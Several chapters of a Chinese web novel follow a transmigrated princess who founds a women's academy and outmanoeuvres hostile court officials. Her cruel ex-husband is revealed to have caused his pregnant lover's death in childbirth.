“你什么你,你忘了,你就是我,我就是你。行了,别吵了,我还有正事做呢。”
方才冷小幸批阅试卷是,在书桌左边放试卷,右边放了数个小册子,册子封面是每个考生的姓名。
她提笔将每一个考生答题优缺点记录到小册子上。
这会又拿一本薄册,对考生成绩进行排名。
考生们当然不知道这些。
虽然冷小幸说可以告诉他人考题,但考生们都很谨慎,没有出去张扬的,只在至亲询问时回答一二。
她们的精力都放在接下来考什么,根据各自猜测应答准备。
第二场,考医理,是所有考生都压中的考试范围,毕竟是医疗队选拔嘛,怎么能不考呢?
考题仍为五道,从简单识别草药到草药的药性,制药、病症辨析开方、急救防病等等十分全面。
昨天考试,已有人猜到冷小幸所设试题不拘于医疗队知识范畴,今日见到医理科目,得以确认,毕竟军队外伤医疗并不涉及复杂医学知识。
曾跟着冷小幸上过战场,做过医疗员的宫女考生们则看得清楚。
这些宫女考生,是冷小幸向皇帝请旨要她们参加考试。
此前她们参战有功,虽得以封赏,却多是银钱赏赐,因仍隶属尚宫局,至多宫女品级提升罢了,说起来她们并非自由身,若无冷小幸请旨,她们是无权报名参加考试的。
得知与其她女子一同考试,遴选入正式医疗队时,这些宫女本以为手拿把掐,不想考试内容却与想象中的大不相同。
但她们没有因此有所不满、或有畏难情绪,毕竟见过烽火心理素质得到过锻炼,她们心如止水,只竭尽全力答题,力求不留遗憾。
此后五天,依次考了算术演算、工程营造、刑名律法经济民生、史地谋略,皆是五题,最后一题都是附加题,将考题中没有出现,所知道有关科目的一切,想起多少,答多少。
可以说,冷小幸给了她们尽可能展示所掌握知识的机会。
得知全部考题的朝中官员有些坐不住了,原本以为只是选拔医疗队,考些药材医理,包扎急救也就是了。
可冷小幸出的这些考题,远远超过了医疗队人员应该掌握的知识范围。
朝廷选拔官员都没有这般详尽。
冷小幸所谋昭然若揭。
不愿冷小幸登上大位的官员有心弹劾,却又不好实施。
冷小幸没有保密试题,也不曾大肆公开。
官员弹劾,总要说清是从哪里得来试题内容。
对考生威逼利诱来?还是礼部官员泄题?
退一步讲,就算不纠结消息来源,弹劾什么呢?
弹劾冷小幸题出的太全面,超出范围?
冷小幸一句想全面了解考生,以便因材施教不就顶回去了。
弹劾冷小幸表面招生,实则图谋不轨?
宸仪院总共才招了几个人?还都是女子,仅凭她们就有颠覆朝纲之危?
这奏折交上去,岂不是让人笑掉大牙,觉得发言者杞人忧天、以小人之心度君子之腹?
更何况,有皇帝带冷小幸直接上朝的前车之鉴,若是贸然戳破,万一皇帝顺势而为直接立冷小幸为皇太女怎么办?
朝臣还能群起反对:“皇帝你老糊涂了,不能这么做,得立那些不懂事的幼年皇子。”
是嫌九族活得太快活,想去地府游玩吗?
朝臣们举棋不定,没有人愿意做出头羊。
冷小幸才不管那么多。
考完试,她没有急着授课,也没有公布排名,而是按照百家姓的名字顺序,依次与每一位考生详谈。
详细了解她们真实的想法、感兴趣的学科、擅长的事物,一对一共同制定每个人的初步学业计划。
宸仪院虽是冷小幸的一言堂,但她也不是唯一的老师。
早在筹办宸仪院时,她便向皇帝奏请从民间选取德才兼备的女子入宸仪院做实习老师。
还从到年纪出宫的宫女中,选了些不愿回家,愿意入宸仪院的退休宫女承担院中日常事
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务。
宸仪院正式开课后,皇帝宣冷小幸入宫。
对她道:“朕准备推行科举,此事既由你提出,也该有你主持才是。”
“可宸仪院刚刚开始,儿臣分身无术。”冷小幸迟疑道。
皇帝正色道:“镇国,你要明白,你若有心做这天下之主,就该面面俱到,不能将心思只放在区区一个宸仪院,放在那些女学生身上。科举选官事关重大,关乎社稷兴衰,你要分清主次。”
“儿臣受教,”冷小幸躬身郑重道。
皇帝满意颔首。
冷小幸话锋一转道:“可一屋不扫何以扫天下,宸仪院诸事确实还需儿臣亲自坐镇,不可轻忽。科举若由儿臣直接主导,只怕未必会推行顺利。不如先由父皇与众朝臣定下细则,来年试行再由儿臣督办。”
“哦?”皇帝笑道:“你怕因你百官会更加阻挠,这可不像你的性子。”
“江山说到底是咱们家的,朝臣有点小心思不必苛责。”冷小幸悠悠叹了口气,似是无奈道:“儿臣总不能每一次都和朝臣针锋相对,有时为了江山稳固,儿臣以退为进未尝不可。只要科举制能顺利推行,儿臣受点委屈,不算什么。”
“你呀,”父皇手指虚点着冷小幸,失笑道:“说起来一套一套的,依朕看,你就是想偷懒。”
“父皇说是就是吧。”冷小幸一口认下。
她犹嫌不够,补了句:“等将来儿臣坐上皇位,才不事事操心呢,定要效仿先贤拱手而治。”
皇帝身旁的王内监闻言,倒吸一口凉气,生怕皇帝发怒。
冷小幸坐上皇位,那不就是皇帝已经驾鹤西去,这种大逆不道的话也敢当着皇帝面说吗?
皇帝却不以为意道:“好,我儿有志气。你若真能如此,是大昌之福。为父泉下有知,定会为我儿骄傲。”
冷小幸毫不谦虚领受,她对皇帝道:“父皇也该如此,少劳累些,有事只管吩咐大臣做就是。儿臣有日子没进宫了,今日既然来了,也当为父皇看诊。”
皇帝笑眯眯伸出手。
冷小幸细细诊过,高兴道:“父皇一切安好,只是有点上火,不必喝药,喝点陈皮菊花茶便好。”
皇帝听了也高兴,留冷小幸用过膳,才放冷小幸出宫去忙。
宸仪院课程繁杂,不必细说。
有趣的是,宸仪院不仅仅有理论课,还有实践课。
冷小幸会专门带着老师学员们实地考察。
比如讲农桑,就带她们去城郊村庄。
这样新颖的授课方式,不但让学生们学得起劲,就连公主系统都感觉很有兴趣。
它不但每天蹭课,还会坚持完成作业,请冷小幸批改。
冷小幸察觉到公主系统的变化。
她决定给再给公主系统一次认清渣男的机会。
于是,某天宸仪院外出实践,所去的正是吴思齐所在村庄。
冷小幸包下农田,授完课,便让老师们带着学员各自分开散开实地学习。
她则只带紫藤往僻近处去。
原本冷小幸还有点担心吴思齐不上钩,但她显然低估了吴思齐的无耻程度。
主仆二人走到山脚处时,吴思齐已偷偷摸了过来。
29.替驸马养私生子的公主29
他见到冷小幸便急切道:“公主,你是特意来见我的吗?我就知道,我就知道你还没有忘记我,还没有忘记我们之间的感情。”
冷小幸后退半步。
紫藤上前厉声喝道:“大胆!哪来的刁民,胆敢冒犯公主,不想活了吗?”
吴思齐痴痴望着冷小幸,像是被吓傻了。
冷小幸嫣然一笑,拦住紫藤道:“别吓到他,想来没见识的小民,第一次见本宫,有些激动罢了。不必理会,我们走吧。”
吴思齐闻言向前一扑,跌倒在冷小幸的脚边,伸手想抓冷小幸衣角,却被冷小幸躲开。
看了眼空荡荡的手心,吴思齐抬头慌忙道:“公主,是我呀,吴思齐,你的驸马。你不记得我了吗?”
冷小幸凝眉低头细看,而后冷冰冰道:“原来是你。”
“是我,是我,”吴思齐欣喜道,他根本没听出冷小幸的冷淡,满怀期待向冷小幸伸出双手,做出让冷小幸将他搀起的姿势。
冷小幸一脚踢到他的心窝处。
吴思齐猝不及防硬生生受了这一击,在地上滚了好几圈,撞到一棵大树才停下,他捂住胸口,吐出一口血沫。
冷小幸冷哼道:“别再让我瞧见你,下次可没这么好运了。”
说罢,便带着紫藤离开。
吴思齐在她身后声嘶力竭喊道:“公主,别走!别走!我知道你生我的气,我知道你是为了陈宝珠那个贱人吃醋。我根本不爱她,我只爱你。我已经为你杀了她,你高兴吧。公主,我爱的人是你,一直是你,求求你带我走。”
冷小幸闻言顿足。
紫藤在旁,觑着冷小幸的脸上,担忧道:“公主。”
“去查查怎么回事。若涉及命案叫官府处理。”冷小幸吩咐道。
紫藤回道:“是。”
主仆俩都没有再理吴思齐的喊叫声。
紫藤陪冷小幸回到学员实践处,才吩咐其他宫人去查。
冷小幸则向公主系统发难道:“你不是说是难产吗?怎么还涉及到谋杀?”
“是也不是。”公主系统喃喃道,见逃不开,它期期艾艾讲了吴父走后接下来发生的事。
那时吴思齐还抱着一丝能挣出一份家业的幻想,兼之冷小幸迟迟未获封赏。
吴思齐越发觉得吴父老糊涂,竟想逼他受辱以获得冷小幸的怜爱,靠着冷小幸东山再起。
彼时,吴思齐庆幸他早已与冷小幸划清界限,他日夜盼着冷小幸一落千丈,他等着看冷小幸的笑话出一出心中的恶气。
不知处于什么心理,吴思齐对陈宝珠更加体贴,除了找借口不肯娶陈宝珠给她名分外,柔情蜜意。
两人蜜里调油。
可惜很快进入贫贱夫妻百事哀的境地。
不会种地也没有地的吴思齐面对无米下锅,无衣蔽体的绝境,不得不放下世家公子的架子,去出苦力,去挣从前见都没见过的小钱。
吴母和陈宝珠也不得不干些力所能及的活补贴家用。
与这一家越来越窘迫的日子相比,是冷小幸的春风得意。
冷小幸得封镇国公主的消息传来,彻底打碎了吴思齐的幻想,也打破了吴家不堪一击的平静。
吴思齐开始后悔,开始假设若冷小幸不曾休夫,他仍是驸马。
就算宣平侯府是二皇子的母族,又能怎么样呢?
凭着冷小幸的功绩和皇帝对她的宠爱,朝廷怎么会问罪宣平侯府呢?他们又怎么落到衣食不饱的境地?
甚至那些不愿让冷小幸因功受封的朝臣,会极力让冷小幸的功劳变成他吴思齐的,会以冷小幸是吴家妇为由,竭力促成他加官进爵。
归根结底,不正是因为陈宝珠勾引了他,还趁他不在,联合目前将两人无媒苟合的事情捅到了冷小幸面前,害他失爱于冷小幸。这一切,都怪陈宝珠这个心机深沉的女人。
以前也就罢了,昭华公主只不过是个受宠的公主,再受宠,又能如何?她的一切来自于皇帝的恩宠,能给吴思齐带来多少收益?
区区驸马,吴思齐不放在眼里。
可现在,冷小幸被封为镇国公主,有了登上太子之位的可能。
如果冷小幸不曾休夫,如果她真的登上帝位,那吴思齐就是名正言顺的王夫,他们的孩子就会成为下一任君王。
这岂不是不起兵戈,就能让江山易主?
这天下变成他们吴家的了。
这么一想,吴思齐失去的可不仅仅是一个公主妻子,微不足道的驸马位份。
他失去了万里江山啊!
抱着这样的心态,吴思齐与吴母看陈宝珠越来越不顺眼。
就算陈宝珠是吴母的亲侄女,又怎么能和儿孙的前程相较?
吴母不知一次后悔,不该听信陈宝珠的怂恿,那么心急去找冷小幸摊牌。
她忘了,当初并不是陈宝珠崔她,她才去的。她是听说皇帝快死了,二皇子就要继位,才迫不及待去找冷小幸,她想看冷小幸求她,想对冷小幸摆婆婆架子才去的。
人都会遗忘,都会迁怒。
吴母对陈宝珠不剩多少情分。
相比之下,所谓更理性的男人吴思齐对陈宝珠已无情分可言。
拔|屌无情的吴思齐对陈宝珠曾经的柔情蜜意全部都化为厌恶痛恨,利剑一般射向陈宝珠。
陈宝珠引来了人生中最苦的日子,不但要挺着肚子日夜操持家中琐事,还得辛劳挣钱,可昔日的爱人不但不疼爱她,对她恶语相向,甚至全然不顾她有孕在身,对她拳打脚踢。
吴母初时念在陈宝珠腹中孩子的份上拦着吴思齐动手,可随着吴思齐越来越变本加厉,家里越来越艰难。吴母渐渐不再拦了。
以前那个慈爱的姑母完完全全变成刻薄的婆婆。
陈宝珠就是在这样的水深火热中苦苦煎熬,她骗自己生下孩子,一切都会好起来。
终于,陈宝珠咬牙撑住生产那日,她拿出早早攒下请稳婆的钱,把钱给吴母,哀求她叫稳婆来。
可吴思齐却将钱夺了去。
陈宝珠迸发出求生意志,她死死拽住吴思齐的衣袖,声如泣血,一声一声叫着:“表哥!表哥!求求你,求求你。”
吴思齐将她的手指一根一根掰开道:“你别怪我。这是你应得的,都是因为你勾引我,公主才离开我。你死了,公主气消了,就会重新爱我。”
“表哥,看在孩子的份上
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,求求你,帮帮我,别要我的命。我走,我走得远远的,再也不打扰你和公主。表哥,求求你,求求你。”陈宝珠泪流满面,苦苦哀求。
见吴思齐不为所动,陈宝珠忍着腹中剧痛,转而求道:“表哥,我可以死,求求,让孩子出生吧,求求你,这也是你的孩子啊。”
“孩子?”吴思齐附身紧紧揪着陈宝珠衣襟,行若疯癫道:“要是我没跟公主分开,我的孩子会做皇帝,是这天下间最尊贵的人,你的野种也配做我的还孩子!别做梦了。”
陈宝珠听了这诛心之言,如遭雷劈。
她这一胎本就怀的辛苦,日夜劳作缺衣少食,哪里还能经得起这样的摧残,最终难产而亡,一尸两命。
死前,陈宝珠仿佛回到少女时,陈家未败,她在母亲身旁读书,读到那句:“于嗟女兮,无与士耽!士之耽兮,犹可说也。女之耽兮,不可说也。”不解其意,询问母亲。
母亲细细给她讲解,她懂了字面意思,却仍觉奇怪,天真问道:“为什么男子可以挣脱情爱?女子不行?”
陈宝珠记得,那时母亲抚摸着她的脸,慈爱道:“我的儿,为娘希望你永远不懂。”
那天的阳光很暖,母亲的手也很暖。
陈宝珠终于懂了这句诗,却付出了生命的代价,她的尸体渐渐冷却,被吴思齐扔去乱葬岗,连草席都没裹。
冷小幸听完,沉默良久才对公主系统道:“她的死这般惨,与你前世之死不相上下,你怎么想?”
“我觉得我们都很可怜,”公主系统沉声道。
过了一会,它又道:“好奇怪,我原来很恨她,恨不得将她千刀万剐,可现在我没那么恨她了,我是不是很懦弱没出息?”
“不是,”冷小幸安抚道:“是你终于明白谁才是执刀人,是你终于明白陈宝珠有错,但这不是她一个人的错,她成恶人这个世界也有责任。”
“所以你创立宸仪院,你向让女子不困于内宅,不再靠男人活,再不以男人为天?”公主系统看着生机勃勃的学生道。
“是啊,”冷小幸施展轻功扶住一个险些在田里摔倒的学生,对公主系统道:“如果陈宝珠能靠自己活着,她或许不会依附宣平侯府,更不会跟你抢男人,也就没有接下来的事了。”
这次之后,公主系统对于学业不再是之前找到新奇玩意的态度,而是退去浮躁,认真起来。
冷小幸很乐意见到公主系统的改变,对她的耐心远胜往日。
紫藤来报,查到陈宝珠确为难产而亡,排除他杀。
公主系统不服:“分明是吴思齐夺走她的钱,害她没有稳婆才难产的,吴思齐就是杀人凶手。”
紫藤听不到公主系统说话。
冷小幸帮公主系统问道:“为何生产不叫稳婆?”
“说是家贫没钱。”紫藤微微一愣没想到冷小幸问得这般细,回道。
公主系统气愤道:“假的,都是假的,治他的罪。”
冷小幸让紫藤下去,对公主系统道:“查不出来的,没有证据不能定罪。”
“吴母就是人证啊。”公主系统立刻道。
冷小幸反问道:“你觉得她会出面作证告吴思齐谋杀?”
30.替驸马养私生子的公主30
“她不会。”公主系统泄气道。
冷小幸眼波流转,轻笑道:“那可不一定。”
“你有办法?”公主系统听了两眼发光。
冷小幸否认道:“我能有什么办法?当然没有呀。”
“你在逗我?”
“不是啊,只不过你这个恋爱脑,都不再痴恋吴思齐,一心想把他送进监牢。说不准吴母也有一天幡然醒悟呢。”
“那怎么可能?血脉是斩不断的。何况杀人偿命,吴思齐真被定罪,吴母后半生指望谁?”公主系统先是消沉,而后精神振奋道:“对了,你之前不是伪造过信件,才休掉吴思齐的吗?我们也可以伪造证据,给他定罪呀。”
冷小幸连忙否决道:“停停停,你这种想法很危险。公主休夫说到底是皇家私事。再则,信件虽然是伪造,事情却是真的。谋杀定罪不可如此,就算我们用远高于这个世界的科技做出来证据,也不可以拿来做伪证,破坏司法公正。何况吴思齐说到底只是没叫稳婆,他并没有直接动手杀死陈宝珠,不能以谋杀罪定刑。”
“那怎么办呀?”公主系统脸皱成包子。
冷小幸一时也没有其他方法。
一人一统正发愁时,紫藤去而复返。
她道:“公主,太子妃派人传信,说公主哪日得空,请您回宫一趟,太子妃有事跟您说。”
“嫂嫂不是无的放矢之人,她定有急事。”公主系统闻言急道。
冷小幸也这么认为,当下便带人回宫。
如今她大半时间在宸仪院,鲜少回宫。
太子妃却没有冷小幸这般自由。
冷小幸到少阳宫与太子妃厮见过后,太子妃立即屏退左右道:“京中勋贵中有几位夫人想要为自己女儿谋取世子之位,倒先求到我这里,估摸着是怕你事务繁忙不好直接叨扰你,来我这探探口风,镇国你看此事该如何?”
冷小幸闻言一愣,随即会意道:“想来那几位只生了女儿的夫人。”
“不错,”太子妃道:“以前她们是不敢想的,只能对会承爵的庶子好,以期他们有良心将来会照拂姐妹。可是如今你已走在前面,她们自然看到希望,能让自己的女儿继承爵位,又怎么甘心拱手让给庶子?”
“这是好事,嫂嫂与诸位夫人商议便可。”冷小幸颔首道。
太子妃闻言,面上一松。
又听冷小幸道:“此事只夫人们有心是不够的,必得各位勋贵亲自上折,女儿们也真心愿意袭爵,方才圆满。”
“若如此,只怕要困难许多,难以实现。”太子妃踌躇道。
冷小幸不为所动,坚持道:“嫂嫂,夫妻一体当同心才是。更何况对于任何一个家族而言,爵位传承是重中之重,事关家族几代兴衰。若无家主首肯,此事断断不能行。”
“再说,夫人们爱女心切才由此念想,她们的女儿未必有愿意。”冷小幸补充道。
太子妃笑道:“人往高处走,怎会有人不愿?”
“嫂嫂,人各有志,不能强求。”冷小幸端起茶盏,垂眸饮茶道。
太子妃听了这话,不免想到冷小幸曾提过若她为储君,愿立太子妃独女小郡主做后世君,至今太子妃仍未答复。
想到此节,太子妃笑了笑,没答话。
冷小幸喝茶润过喉咙,继续道:“即便那些女儿想继承其父亲的爵位,也需拿出本事,让其父亲、家人、家族长辈们认可才行。”
“自古男子袭爵,有嫡立嫡,无嫡立长,并未如此。”太子妃不解道:“镇国,又何必对女子袭爵多做要求?”
冷小幸叹了口气道:“嫡长制是为了减少家族内耗,等女子袭爵如男子袭爵般是平常事,亦该如此为之。只不过,现下女子要袭爵就得付出比男子百倍的努力才能真正坐稳爵位。”
太子妃闻言,心中五味杂陈。
她原本与众位夫人想联合冷小幸,获皇帝首肯,便直接推行此事。
此事对皇帝,对冷小幸都要好处。
对皇帝而言,女子若能承爵,女子立户就是理所当然的事,此举可分化宗族,对于遏制世家有一定作用,有效加强皇权集中。
对冷小幸而言,勋贵有女世子,将会成为她登上太子之位的一大助力,无论是大义名分还是实际影响。
此前,太子妃与夫人皆以为冷小幸听说此事,定然会十分高兴,立刻与她们一起积极推行,却不想冷小幸竟说出这样的话。
冷小幸看着太子妃的神色,猜到她所想,便道:“嫂嫂,承袭爵位者,不但要负担其家族使命,也要担得起朝廷政务。一个连自己家族都无法取得认可的人,又有什么资格立足于朝堂,为百姓谋福祉呢?”
“可是她们没有受过这方面的教育,现在要她们做出一番事业独占鳌头,太难了。”太子妃道:“镇国,不是我偏颇女子,世家大族的男子倒是幼承庭训,但也不是个个世子都有能力,败家者、碌碌无为者比比皆是。”
“嫂嫂别急,”冷小幸探身,握住太子妃的右手道:“我自然知道,她们现在没有能力接手家族,但嫂嫂可以告诉诸位夫人,若是她们的女儿真有此心,即便勋贵不同意,我也会教她们怎么做一个合格的世子。不过日后能不能成为世子,还得靠她们的本事才行。”
“我明白,”太子妃将自己的左手覆在两人握着手上道:“你放心,我定会办妥此事。”
“好,我等嫂嫂的好消息。”冷小幸笑面如花。
从少阳宫出来,公主系统感慨道:“你说的对,只要给出一点缝隙,我们就会拼命的王外长,不会困于内宅陷于内斗。”
接下来,冷小幸过上了顺风顺水的日子。
宸仪院上了正轨,勋贵之女成爵之事虽然艰难,却也推行下来。
这还是要得益于国朝初立,皇帝草根出身,和他打天下的人出身都不高,这些人的夫人与丈夫也算是并肩作战,话语权自然更大些。
再说,勋贵请封自己的女儿做世子,不用于太子之位废立是皇家事亦是天下事,世子之位更偏向勋贵家事,外人不好插手。
皇帝看得清女子立户对皇权的好处,很愿意打开绿灯。
冷小幸还使出了嫡庶大法助攻,强调嫡女也是嫡出,符合爵位传承的有嫡立嫡。
朝野上下谁不知道冷小幸是现存所有皇嗣中唯一的嫡出呢?
“什么嫡庶之别,长幼有序,都是工具,端看人怎么用了。”冷小幸勾着嘴角,自言自语道:“婚姻结两姓之好,说到底合作关系,有嫡女不立,立庶子,女方
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可太亏本了。”
巧的是,被请立为世子的勋贵之女都在宸仪院上学,冷小幸索性特设了一门课,教她们如何承担世子之责。
当然,她们各自的父亲也会言传身教,好好培养自己的继承人。
白驹过隙,冬去春来,一年过去。
因暂无战事,冷小幸上报朝廷,培养出的第一批医疗队人员暂不去军队,先去各地负责招生,扩大生源,也好充实各军。
此事朝堂并不反对,很快定下,招生事宜由冷小幸全权做主,各地官府配合便是。
接着,科举制推行提上日程,冷小幸渐渐放手宸仪院事务。
一日,她正在礼部,与礼部官员核定科举贡院建设等细务时,守在她身边的紫藤出去一趟,回来后附在她耳边道:“公主,宸仪院来人了,似是有急事。”
冷小幸与礼部诸人又说了几句,定下方才商议的一事后,命众人自行休息片刻,一会再回来开会。
她则带紫藤到礼部专门给她收拾出来,用于办公的屋子。
进屋后,来人忙行礼。
来着名唤喜妹,是京郊村庄考入宸仪院的学员,各方面都不错,只是为人有些老实。
冷小幸对她印象不错,见她神色慌张,和颜悦色道:“何事?慢慢说,不着急。”
喜妹恭敬道:“公主,是我们村有个叫吴思齐的,他说他有很重要的事要告诉公主,事关公主生死,我不知他说的是真是假,不敢不来禀告公主。”
“事关本宫生死?”冷小幸手指点着案几道:“他有说什么事吗?”
喜妹羞愧道:“他说只能告诉公主一人,无论我怎么问,他都不肯告诉我,我怕耽搁了,只好先来回禀公主。”
冷小幸转头对紫藤道:“你亲自去一趟,他愿意说便罢了,若敢拿乔,你知道该怎么做。”
“是,奴婢明白。”紫藤领命而去。
喜妹惴惴不安道:“公主,我,我是不是做错了,不该听信他人打扰公主。”
“不,你没有做错,你做得很好。”冷小幸和煦道:“此事先不要走漏风声,回去吧,好生准备下旬的考试。”
喜妹听冷小幸如此说,一直慌乱的心终于安定下来,行礼告退。
冷小幸问公主系统道:“你知不知道他又整什么幺蛾子?”
“不知道呀,”公主系统茫然道:“我已经很久没关注过他了。谁知道他又抽什么风。”
“罢了,正事要紧。”冷小幸闻言也不失望,仍去开会。
与礼部商议完毕,回公主府用晚膳。
正吃着呢,紫藤请来汇报,她身上带着一丝水汽。
冷小幸一面吃,一面听,等紫藤说完,她撂下筷子,啐了一口道:“真是没种,每次都只敢找软柿子。”
紫藤在旁不敢答话。
侍女近身服侍冷小幸漱口、净手。
收拾停当,冷小幸去书房处理公务。
紫藤见冷小幸没有别的吩咐,想了想还是问道:“公主,咱们是不是该做些打算?”
“你去告诉她们一声也就是了,其他的事不用多做。本宫相信她们。”冷小幸翻开公文道。
“是,”紫藤上前研墨,又问道:“那吴思齐该如何处置?”
31.替驸马养私生子的公主31
“先关起来,等事情了结再放他出来。”冷小幸执笔蘸墨道。
紫藤欠身道:“是。”
主仆二人再未提起吴思齐。
三日后,冷小幸在京外十里亭送要去各地招生的宸仪院医疗队人员。
她双手捧着酒杯道:“该说的话,本宫早已说过,就祝各位自此青云直上,鹏程万里。”
“谢公主。”众人举杯随冷小幸一饮而尽。
双方辞别,冷小幸目送众人离开,直到再也不看见她们的身影才转身回城。
半月后,京中突然有消息传开,去各地招生的医疗队人员遭山匪劫杀,无一生还。
朝野闻讯震动,一些不再中枢,且不想让冷小幸谋得大位的朝臣甚是激动。
他们暗中串联,打算以此为契机,彻底将冷小幸打入尘埃。
他们当然不会傻到上奏请求废掉冷小幸镇国公主之位,而是打算上书废除宸仪院,理由也是现成的,为了保护众学员的安全,不再发生如此骇人听闻的惨案。
极少部分人脑子一热,立即向尚书台呈递奏折,生怕没有赶上第一波热乎的。
还有些人将奏折再三修改润色,预备大朝会当众启奏。
真正有心人,则背地里怂恿遇害者的父母去宸仪院闹事。
此次遇害者是宸仪院培养出的第一批医疗队,里面皆是平民出身的女子。
此前贵族阶级送女儿入宸仪院,理由很多,比如疼惜女儿,感念先皇后恩德、揣测皇帝心思拍龙屁、在冷小幸身上下注等等考量。
而平民阶级,大多数是为了给家里省一笔口粮。
作为升斗小民,他们当然不敢为了女儿,向当朝的镇国公主发难。
可是钱财动人心,有那么一两户被大笔赏钱打动,他们拖家带口跑到宸仪学门口跪地哭女。
他们不敢有任何过激的言行,只是做出一副老实巴交的摸样瘫软在地上,小声痛哭自己死于非命的女儿。
宸仪院的人请他们进去。
他们就说:“我们是卑贱小人,怎敢踏入院中。只是突然听我家丫头惨死,想着她身前喜欢这里,或许魂魄会回到这里,就这哭一哭,想见她最后一面,求求大人,可怜可怜我们,就让我们在这吧。”
如此悲切隐忍的话语,引来京中百姓指指点点。
宸仪院的人不敢做主,忙报于身处宫中的冷小幸。
冷小幸便命紫藤前去处置。
紫藤直接带了京兆尹的官差过去,当众责问痛哭流涕的家属:“尔等受何人指使?敢来此生事。”
那些人跪伏在地,瑟瑟发抖,结结巴巴道:“无,无人,无人指使。”
翻来覆去就这一句,再问便只哭,不吭声。
紫藤便不再问,直接让官差以扰乱治安为由将他们抓走。
此举,不但吓坏了跪在地上的家属,也惊到了围观的百姓。
有人混在百姓中,示意家属们喊冤。
奈何家属都被吓傻了,根本没见到,即便见到他们也不敢。
见状,浑水摸鱼的人出言蛊惑身边的人:镇国公主跋扈嚣张、欺害良民等语。
他们觉得百姓愚昧,易被煽动,可由此引发骚乱。
但没想到百姓只求温饱,明哲保身,这样的煽动对他们而言,只能让他们怕惹火上身远远躲开,连当八卦般接话都不会。
更不可能造成民意沸腾,百姓抗议的局面。
反倒是随着百姓避让,叫他几个人显现出来。
紫藤早有准备,心明眼亮命人这些宵小之辈抓起来,一并送到京兆尹府受审。
此事闹开,自然有人要以此弹劾冷小幸,在奏折上填上几笔。
等到翌日大朝会,不少朝臣摩拳擦掌打算大干一场,听到那句“有事起奏,无事退朝。”后,争先恐后出列,洋洋洒洒引经据典启奏朝廷废除宸仪院,要冷小幸对昨日当街抓捕平民做出解释。
随着出列的人越来越多,皇帝始终不发一言,不辨喜怒。
好一会过去,终于再无人出列,皇帝才开口道:“此事可还有附和者?”
等了片刻,无人应是。
皇帝大笑道:“朕今日才知朝中竟有人只长了一只耳朵。”
众人不解其意。
皇帝并未再说只让王内侍宣旨。
圣旨先是重赏冷小幸及遭遇山匪的女子们。
方才上奏的朝臣听了大为惊异。
却见政事堂里的诸位大人面无殊色,并无异议。
接着听完全部圣旨,其他朝臣们明白才昨日消息他们只听到了一半,另一半是医疗队人员武艺高强,反杀山匪,各地官府已介入调查。
众人心中无不呐喊:“干什么?你们这是要干什么啊?”
反杀山匪瞒的滴水不漏,遭遇山匪的消息却满天飞,生怕人没听见,要说这里面没鬼才是真见了鬼呢。
何况历来封赏圣旨,无不先写缘由,后写赏赐。
这份圣旨却故意颠倒,分明是耍他们玩。
他们有心质问,但问谁呢?策划部署的很明显是皇帝、冷小幸、政事堂。
哪个是他们能责问的?
众人只好心照不宣,各自将这一页揭过去。还能这么想的是没有上奏弹劾冷小幸的朝臣。
昨日迫不及待上折给尚书台,还有今日在朝堂侃侃而谈说得吐沫星子乱飞的朝臣亦然两股战战不寒而栗。
唯一原本想在朝会上奏的,却不愿做出头鸟,心思敏锐的朝臣捏着袖中的奏折,大舒一口气,只觉劫后余生,此后一生敬小慎微,不敢踏错一步。
朝臣们想翻篇,冷小幸却直接翻脸道:“如今四海平定,哪里来的山匪?即便有,又哪里来的胆量截杀朝中官员。此事甚是蹊跷,须得审理清楚,看看何人敢为一己之私犯下这样的逆天大案。”
听到这话的大部分朝臣都觉得此言甚对,从宸仪院出师的医疗队本来就隶属兵部,这些女子与他们皆是朝中人,自然要统一战线,否则今日杀女官,明日当然可以杀男官。
极个别早知内情的人听了这话,心中慌乱不已,还要强装镇定。
兵部侍郎则与众不同,他目光灼灼望着冷小幸道:“不过短短一年,殿下竟能让这些女子训练出如此高强的武艺,不知公主是如何训练的?敢问公主何时前往军营训练军队士卒?从哪一支军队开始?”
“此言甚是,公主大才,真是天佑我朝,”其他朝臣纷纷出言道:“还请公主尽快定下训练事宜,以助我大昌军威。”
冷小幸冷漠摇头道:“本宫并没有这样的打
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算,要诸位大人失望了。”
“公主万不能厚此薄彼,只教女子,却置好儿郎不顾,岂不是大材小用、虚掷良才?”
“诸位大人,并非我偏爱女子,只是这功法是我自创的,只有女子可学,男子是万万学不得的。”冷小幸含笑道。
“哎,公主何必妄自菲薄?您能创下这样的功法,令根骨不佳不善习武的女子手刃歹人,定然还能创出更好的功法让男子学习。”
“对呀,再说公主您又没有试过,怎么知道男子学不得?”
朝臣你一言,我一语非要冷小幸去军队任教。
冷小幸似是招架不住道:“唉,其实男子也能学。”
众臣闻言一喜,立刻好言好语奉承冷小幸,哄着她将功法交出。
“只不过男子学此功法,须得自宫,此事有伤人和。”冷小幸先是故作为难,又大义凛然道,“但若真有男子愿意,本宫定然倾囊相授。”
一言一处,宣政殿像被冰冻住了一般,寒冷刺骨鸦雀无声。
好半天,兵部侍郎才在兵部尚书的频频暗示下,硬着头皮道:“请问公主可还有其他适于男子修行的功法?”
“哎呦,”冷小幸耸肩道:“本宫是人不是神,所作所为已是竭尽全力,各位此情,实在力有不逮。”
冷小幸说出这样的话,倒让朝臣们想起她妙手回春救活油尽灯枯的皇帝。
成立医疗队,在战场上救了数万士兵。
更不必说两军对战时,她亲手射杀已被废掉的二皇子等逆贼,保住大昌国威。
又射杀敌军将领,增强我军士气,奠定胜利基础。
军事上的成就功勋卓著。
文事上,首推科举制,能够改变世家门阀垄断官位局面。
创办宸仪院,虽只有短短一年,但不但看出将来此院必能比肩“六学二馆”。
且宸仪院女子所学,冷小幸从不保密,听说她已带领擅长农桑学员着手改良粮食产量。
院中女子习武,这不是秘密。
只不过之前外人都以为只学些花拳绣腿罢了。
冷小幸凭一己之力做了这么事。
朝臣心中细数,确实没脸再强人所难,皆悻悻退下。
将注意力放在了山匪这个案子上。
被歼灭的当然不是真山匪。
此前受二皇子扣边牵连、被查证数罪并罚抄家夺爵的世家,三代以内血亲问斩,五服之内的其他亲眷流放三千里。
这些被流放的人服役期间心有不甘,又听闻科举制开始推行。
在他们看来,此举是想将所有世家逼向绝路。
于是,千方百计联合其它世家,想要做出些抗争。
可并非所有的世家都这么觉得。
有些头脑清楚的世家,已开始督促子孙好生念书、习武,以期将来通过科举、武举迈向仕途。毕竟世家所拥有的教育资源远超寒门的,只要子孙争气亦保证家族世代兴盛。
还有些要么咽不下这口气,要么做上位者久了转不过这个弯的世家,心里很不服气。
被那些流放人员一撺掇,又有兔死狐悲之感。
